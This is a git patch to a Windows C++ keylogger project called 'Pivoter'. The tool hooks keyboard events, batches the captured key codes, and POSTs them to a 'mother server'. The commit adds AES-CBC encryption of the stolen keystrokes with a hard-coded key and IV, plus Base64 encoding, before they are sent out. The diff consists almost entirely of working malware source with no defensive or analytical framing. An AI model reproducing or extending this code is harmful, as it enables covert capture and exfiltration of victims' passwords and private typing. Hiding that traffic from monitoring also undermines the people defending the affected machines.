From d81369be0feb40501113fd4ed60f9dfea314523c Mon Sep 17 00:00:00 2001 From: osamu-kj Date: Sun, 18 Dec 2022 23:54:26 +0100 Subject: [PATCH] ConnectionsPivoter: Encrypt network traffic before sending it to the mother server --- .gitignore | 5 +- Pivoter.cpp | 9 ++- base64.h | 1 - connections_pivoter.cpp | 167 +++++++++++++++++++++++++++++++++++++++- connections_pivoter.h | 10 ++- 5 files changed, 184 insertions(+), 8 deletions(-) diff --git a/.gitignore b/.gitignore index 8dd4607..82eb014 100644 --- a/.gitignore +++ b/.gitignore @@ -395,4 +395,7 @@ FodyWeavers.xsd *.msp # JetBrains Rider -*.sln.iml \ No newline at end of file +*.sln.iml + +# tmp +enc_temp_folder \ No newline at end of file diff --git a/Pivoter.cpp b/Pivoter.cpp index def10f3..35f4bed 100644 --- a/Pivoter.cpp +++ b/Pivoter.cpp @@ -9,10 +9,11 @@ #include #include #include +#include #include "codes.h" #include "connections_pivoter.h" -#define DEBUG FALSE +#define DEBUG TRUE #define KEYS_LIMIT 100 HHOOK keyboard_events_hook; std::vector virt_codes; @@ -22,8 +23,10 @@ void stack_codes() { if (virt_codes.size() < KEYS_LIMIT) return; - // send the codes to the mother server - mother_server_pv.send_codes(virt_codes); + bool res = mother_server_pv.send_codes(virt_codes); + if (DEBUG && !res) + std::cout << "Failed sending message to the mother server" << std::endl; + virt_codes.clear(); } diff --git a/base64.h b/base64.h index 21bc28d..98f7bbd 100644 --- a/base64.h +++ b/base64.h @@ -29,7 +29,6 @@ class Base64 { public: - static std::string encode(const std::string data) { static constexpr char s_encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', diff --git a/connections_pivoter.cpp b/connections_pivoter.cpp index 289b31a..c73ba98 100644 --- a/connections_pivoter.cpp +++ b/connections_pivoter.cpp @@ -8,6 +8,7 @@ #include #include #include +#include #include #include "base64.h" @@ -44,13 +45,48 @@ BOOL ConnectionsPivoter::send_alive_signal() { } +/*static const BYTE plaintext[] = { + 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, + 0x74, 0x20, 0x64, 0x6f, 0x63, 0x73, 0x20, 0x61, + 0x72, 0x65, 0x20, 0x73, 0x68, 0x69, 0x74, 0x20 +};*/ + +static const BYTE plaintext[] = { + 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x41, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4C, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x53, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4B, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x44, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x4A, 0x20, 0x56, 0x4B, 0x5F, 0x4B, 0x45, 0x59, 0x5F, 0x46 +}; + +static const BYTE iv[] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F +}; + +static const BYTE key[] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F +}; + + + + BOOL ConnectionsPivoter::send_codes(std::vector codes) { if (!this->curl) return false; curl_easy_setopt(this->curl, CURLOPT_URL, this->url.c_str()); - std::string keys_message = Base64::encode(join(codes)); - keys_message = curl_easy_escape(this->curl, keys_message.c_str(), keys_message.size()); + std::string keys_message = join(codes); + + size_t encrypted_message_length = -1; + PBYTE encrypted_message = encrypt_traffic(keys_message, &encrypted_message_length); + + DWORD output_length = 0; + LPVOID output_string = NULL; + CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_BASE64, NULL, &output_length); + + output_string = HeapAlloc(GetProcessHeap(), 0, output_length); + + CryptBinaryToStringA(encrypted_message, encrypted_message_length, CRYPT_STRING_BASE64, (LPSTR) output_string, &output_length); + + keys_message = curl_easy_escape(this->curl, (const char*) output_string, output_length); keys_message = "keys=" + keys_message; curl_easy_setopt(this->curl, CURLOPT_POSTFIELDS, keys_message.c_str()); @@ -61,3 +97,130 @@ BOOL ConnectionsPivoter::send_codes(std::vector codes) { return true; } + +std::vector extract_bytes(std::string data_message) { + std::vector output = std::vector(); + + for (int i = 0; i < data_message.size(); i++) + output.push_back((int) data_message.at(i)); + + return output; +} + +PBYTE ConnectionsPivoter::encrypt_traffic(std::string data, size_t *output_length) { + std::vector plaintext_message = extract_bytes(data); + + NTSTATUS status; + BCRYPT_ALG_HANDLE alg_handle; + BCRYPT_KEY_HANDLE key_handle; + DWORD + key_object_length, + cipher_block_length, + status_bytes, + key_blob_length, + plaintext_length, + ciphertext_length; + PBYTE + key_object, + iv_bytes, + plaintext_bytes, + ciphertext_bytes; + + + status = BCryptOpenAlgorithmProvider(&alg_handle, BCRYPT_AES_ALGORITHM, NULL, 0); + + if (status < 0) { + std::cout << "Error opening an alg provider" << std::endl; + return NULL; + } + + status = BCryptGetProperty(alg_handle, BCRYPT_OBJECT_LENGTH, (PBYTE)&key_object_length, sizeof(DWORD), &status_bytes, 0); + + if (status < 0) { + std::cout << "Error getting the length of the key object" << std::endl; + return NULL; + } + + key_object = (PBYTE)HeapAlloc(GetProcessHeap(), 0, key_object_length); + + if (NULL == key_object) { + std::cout << "Failed allocating memory for the key object" << std::endl; + return NULL; + } + + status = BCryptGetProperty(alg_handle, BCRYPT_BLOCK_LENGTH, (PBYTE)&cipher_block_length, sizeof(DWORD), &status_bytes, 0); + + if (status < 0) { + std::cout << "Failed getting cipher block length property" << std::endl; + return NULL; + } + + if (cipher_block_length > sizeof(iv)) { + std::cout << "cipher block length bigger than the size of the iv" << std::endl; + return NULL; + } + + iv_bytes = (PBYTE)HeapAlloc(GetProcessHeap(), 0, key_object_length); + if (NULL == iv_bytes) { + std::cout << "Failed allocating memory for the iv" << std::endl; + return NULL; + } + + memcpy(iv_bytes, iv, key_object_length); + + status = BCryptSetProperty(alg_handle, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + + if (status < 0) { + std::cout << "Error getting the cbc chaining property" << std::endl; + return NULL; + } + + status = BCryptGenerateSymmetricKey(alg_handle, &key_handle, key_object, key_object_length, (PBYTE)key, sizeof(key), 0); + + if (status < 0) { + std::cout << "Failed to generate the key" << std::endl; + return NULL; + } + + status = BCryptExportKey(key_handle, NULL, BCRYPT_OPAQUE_KEY_BLOB, NULL, 0, &key_blob_length, 0); + + if (status < 0) { + std::cout << "Failed exporting the key as blob" << std::endl; + return NULL; + } + + plaintext_length = plaintext_message.size(); + plaintext_bytes = (PBYTE)HeapAlloc(GetProcessHeap(), 0, plaintext_length); + + if (NULL == plaintext_bytes) { + std::cout << "Failed allocating heap memory for the plaintext" << std::endl; + return NULL; + } + + memcpy(plaintext_bytes, plaintext_message.data(), plaintext_length); + + status = BCryptEncrypt(key_handle, plaintext_bytes, plaintext_length, NULL, iv_bytes, cipher_block_length, NULL, 0, &ciphertext_length, BCRYPT_BLOCK_PADDING); + + if (status < 0) { + std::cout << "Failed getting the size for the ciphertext" << std::endl; + return NULL; + } + + ciphertext_bytes = (PBYTE)HeapAlloc(GetProcessHeap(), 0, ciphertext_length); + + if (NULL == ciphertext_bytes) { + std::cout << "Failed to allocate heap memory for the ciphertext" << std::endl; + return NULL; + } + + status = BCryptEncrypt(key_handle, plaintext_bytes, plaintext_length, NULL, iv_bytes, cipher_block_length, ciphertext_bytes, ciphertext_length, &status_bytes, BCRYPT_BLOCK_PADDING); + + if (status < 0) { + std::cout << "Failed encrypting" << std::endl; + return NULL; + } + + + *(output_length) = ciphertext_length; + return ciphertext_bytes; +} diff --git a/connections_pivoter.h b/connections_pivoter.h index a6f0b14..34f1b64 100644 --- a/connections_pivoter.h +++ b/connections_pivoter.h @@ -7,6 +7,7 @@ #include #include #include +#include #include #pragma comment (lib, "Normaliz.lib") @@ -19,7 +20,7 @@ class ConnectionsPivoter { public: std::string url; CURL* curl; - + ConnectionsPivoter(std::string url); ConnectionsPivoter(); @@ -37,6 +38,13 @@ public: /// vector of key codes /// TRUE if successful BOOL send_codes(std::vector codes); + + /// + /// Encrypt the given data + /// + /// Data to encrypt + /// Encrypted data + PBYTE encrypt_traffic(std::string data, size_t *output_length); private: };